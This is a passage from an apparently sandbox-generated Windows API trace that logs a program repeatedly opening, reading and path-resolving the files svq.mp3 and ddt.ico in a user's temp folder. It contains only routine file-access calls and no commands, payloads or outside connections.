"c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.806] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.806] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.807] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.807] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.807] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.807] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.807] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.807] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.807] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.807] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.807] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.807] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.808] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.808] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.808] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.808] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.808] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.808] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.808] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.808] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.809] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.809] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.809] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.811] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.811] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.811] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.811] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.811] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.811] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.811] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.811] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.811] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.811] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.812] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.812] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.812] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.812] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.812] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.812] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.812] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.812] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.812] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.813] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.813] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.813] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.813] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.813] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.813] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.813] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.813] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.813] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.814] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.814] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.814] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.814] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.814] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.814] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.814] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.814] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.814] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.814] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.815] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.815] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.815] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.815] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.815] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.815] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.815] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.815] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.815] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.815] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.816] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.816] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.816] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.816] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.816] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.816] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.817] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.817] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.817] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.817] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.817] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.817] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.817] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.817] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.817] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.817] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.817] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.818] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.818] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.818] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.818] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.818] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.818] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.818] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.818] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.818] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.818] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.819] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.819] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.819] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.819] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.819] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", 